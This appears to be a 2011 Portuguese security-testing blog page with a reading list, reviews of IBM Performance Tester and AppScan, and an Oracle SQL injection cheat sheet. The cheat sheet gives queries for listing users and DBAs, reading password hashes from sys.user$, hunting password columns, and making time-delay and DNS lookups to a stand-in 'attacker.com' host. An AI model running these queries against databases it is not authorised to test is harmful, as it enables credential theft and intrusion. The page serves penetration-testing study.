Para realizar testes Automáticos na Ferramenta IBM AppScan ou em outras ferramentas de Automação de testes de Segurança, devemos ter uma base de conhecimento, estou postando a documentação necessária para se ter uma boa base de conhecimento em testes de segurança.
Guia OWASP
Javascript e HTML curso Básico
OWASP Top 10
Tutorial Completo sobre os conceitos de Segurança em Redes
Conceito sobre Aplicações Web Seguras
Web Security Testing
Depois de estudar esses documentos compre esses livros, o primeiro é o melhor:
The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws
Metasploit: The Penetration Tester's Guide
BackTrack 4: Assuring Security by Penetration Testing
Pesquisar este blog
terça-feira, 29 de novembro de 2011
Pontos Fortes e Fracos da Ferramenta IBM Rational Performance Tester
IBM Rational Performance Tester | |
Pontos Fortes | Pontos Fracos |
A ferramenta possui um datapool aonde é armazenada a massa de dados. | Interface não muito amigável. |
O processo de Criação de um teste de Performance é interativo, você vai interligar um Planejamento a um teste ou a vários, e um teste ao datapool ou a vários. | Exige um bom domínio em redes e na ferramenta. |
Gera relatórios dos testes Realizados em Word. | A quantidade máxima de usuários se limita a 500. |
Os testes são bem consistentes, ex. realização de cadastro na base de dados via aplicação. | Podem ocorrer problemas de comunicação entre as maquinas, a ferramenta não me informa o problema das falhas, de forma que o usuário final possa entender o problema. |
Testes são realizados em várias maquinas. | Necessidade de desativação do Antivírus. |
A ferramenta grava a execução dos testes e monta as requisições, você pode remover as que não precisam ser testadas. | Tutorial não muito amigável para o usuário final. |
Você pode montar pontos de verificação nas páginas. | Alguns erros podem fazer a ferramenta não gerar relatórios, você não tem a visão de quais erros são. |
A ferramenta apresenta bons gráficos dos resultados dos testes realizados. | |
O Help tem alguns vídeos explicativos de como criar um deste. | |
A ferramenta recebe atualizações constantes. |
Pontos Fortes e Fracos da Ferramenta IBM Rational AppScan
IBM Rational AppScan | |
Pontos Fortes | Pontos Fracos |
Quantidade de testes realizados é bem grande, pro mesmo problema faz o mesmo teste de n formas (impossível de uma pessoa comum realizar tantos testes). | Necessidade de bons conhecimentos na ferramenta. Não é tão simples como se pensava. |
A ferramenta sempre tem atualizações. | A ferramenta não consegue entender a lógica de negocio da Aplicação, é necessário ajustar a ferramenta. |
A ferramenta é bem eficiente. | O SQL Injection não me traz um resultado real de uma invasão, necessário confirmar manualmente os resultados. |
Possibilidades de Adicionar Extensões, tem API pra serem utilizadas por outros programas. | É necessário, bons conhecimento em segurança, para interpretar os dados da ferramenta, sendo assim poder analisar um possível falso-positivo. |
Gera relatórios personalizados. | A ferramenta não cobre outras camadas sem ser aplicação. |
Segue os Padrões de Industrias tanto no scaneamento como na geração dos relatórios, ex. Owasp. | A opção de teste manual é muito simplória, poderia sem bem melhor, como outras ferramentas de testes manuais. Ex. burp, webscab, tamper data. |
Tem um bom nível de maturidade. | A ferramenta deveria ter um proxy, que me mostra-se a requisição enviada. |
Com o test Policy posso definir o tipo de teste que desejo. Ex. só tipos High. | A ferramenta não dá a opção de adicionar um novo teste ou um script de segurança. |
Posso Excluir ou Adicionar o projeto que desejo executar. | A ferramenta não roda com uma aplicação em local host. |
Ferramenta tem uma interface amigável. | A ferramenta deveria ter um site com todas as vulnerabilidades encontradas, detalhando cada uma, um repositório atualizado constantemente. |
A Ferramenta é complemento essencial ao testes de Segura, pela diversidade de testes realizados, engloba todos os testes do top 10 da owasp. | O "Scan Log" poderia ser mais detalhado, poderia colocar em que link deu erro, a requisição enviada e a opção de abrir no browser. |
A ferramenta explica com detalhes todos os erros encontrados e dá n dicas de como corrigir o problema. | Em Request/Response a opção "Show in Browser", poderia ser definido em que browser posso abrir, Firefox, IE, Chomo. |
Ao realizar um exploração de um site automático, depois de terminar, você tem a opção de realizar uma exploração manual, tudo que a ferramenta não pegou no automático vai ser adicionado no manual. | A AppScan poderia fazer alguns relatórios dinâmicos no Excel, com o tipo de venerabilidade, link, prioridade (alta, media, baixa, informal), a fase (encontrado, corrigido, em correção). |
Usando o Scan Expert, a ferramenta te sugere melhoria para a execução dos testes a seram realizados. | Poderia ser adicionado uns vídeos, detalhado junto com o Help da ferramenta, seria ótimo pro usuários final. |
O Login Management é muito bom pra identificar pontos de in-session e session. | Poderia ter uma opção de mudar de idioma dentro da ferramenta, principalmente o Help. |
A ferramenta dá a opção de criar um template com todas as configurações pré-definidas. | |
O Help da ferramenta é bem explicativo. | |
Você tem a opção de setar um erro como "Non-vulnerable", nos casos de falsos-positivos, isso é muito bom. |
quinta-feira, 24 de novembro de 2011
Oracle SQL Injection Comandos
Segue uma lista de injeções ao banco de dados Oracle, são comandos genéricos que o banco interpreta, que me traz vários resultados, sem saber exatamente o nome da tabela ou o nome do usuário.
Version | SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’; SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’; SELECT version FROM v$instance; |
Comments | SELECT 1 FROM dual — comment – NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name ‘dual’ when we’re not actually selecting from a table. |
Current User | SELECT user FROM dual |
List Users | SELECT username FROM all_users ORDER BY username; SELECT name FROM sys.user$; — priv |
List Password Hashes | SELECT name, password, astatus FROM sys.user$ — priv, <= 10g. astatus tells you if acct is locked SELECT name,spare4 FROM sys.user$ — priv, 11g |
Password Cracker | checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10. |
List Privileges | SELECT * FROM session_privs; — current privs SELECT * FROM dba_sys_privs WHERE grantee = ‘DBSNMP’; — priv, list a user’s privs SELECT grantee FROM dba_sys_privs WHERE privilege = ‘SELECT ANY DICTIONARY’; — priv, find users with a particular priv SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; |
List DBA Accounts | SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv, list DBAs, DBA roles |
Current Database | SELECT global_name FROM global_name; SELECT name FROM v$database; SELECT instance_name FROM v$instance; SELECT SYS.DATABASE_NAME FROM DUAL; |
List Databases | SELECT DISTINCT owner FROM all_tables; — list schemas (one per user) – Also query TNS listener for other databases. See tnscmd (services | status). |
List Columns | SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’; SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’; |
List Tables | SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables; |
Find Tables From Column Name | SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’; — NB: table names are upper case |
Select Nth Row | SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1) |
Select Nth Char | SELECT substr(‘abcd’, 3, 1) FROM dual; — gets 3rd character, ‘c’ |
Bitwise AND | SELECT bitand(6,2) FROM dual; — returns 2 SELECT bitand(6,1) FROM dual; — returns0 |
ASCII Value -> Char | SELECT chr(65) FROM dual; — returns A |
Char -> ASCII Value | SELECT ascii(‘A’) FROM dual; — returns 65 |
Casting | SELECT CAST(1 AS char) FROM dual; SELECT CAST(’1′ AS int) FROM dual; |
String Concatenation | SELECT ‘A’ || ‘B’ FROM dual; — returns AB |
If Statement | BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn’t play well with SELECT statements |
Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1 SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2 |
Avoiding Quotes | SELECT chr(65) || chr(66) FROM dual; — returns AB |
Time Delay | BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can’t seem to embed this in a SELECT SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — if reverse looks are slow SELECT UTL_INADDR.get_host_address(‘blah.attacker.com’) FROM dual; — if forward lookups are slow SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; — if outbound TCP is filtered / slow – Also see Heavy Queries to create a time delay |
Make DNS Requests | SELECT UTL_INADDR.get_host_address(‘google.com’) FROM dual; SELECT UTL_HTTP.REQUEST(‘http://google.com’) FROM dual; |
Command Execution | Javacan be used to execute commands if it’s installed.ExtProc can sometimes be used too, though it normally failed for me. |
Local File Access | UTL_FILE can sometimes be used. Check that the following is non-null: SELECT value FROM v$parameter2 WHERE name = ‘utl_file_dir’;Java can be used to read and write files if it’s installed (it is not available in Oracle Express). |
Hostname, IP Address | SELECT UTL_INADDR.get_host_name FROM dual; SELECT host_name FROM v$instance; SELECT UTL_INADDR.get_host_address FROM dual; — gets IP address SELECT UTL_INADDR.get_host_name(’10.0.0.1′) FROM dual; — gets hostnames |
Location of DB files | SELECT name FROM V$DATAFILE; |
Default/System Databases | SYSTEM SYSAUX |
Assinar:
Postagens (Atom)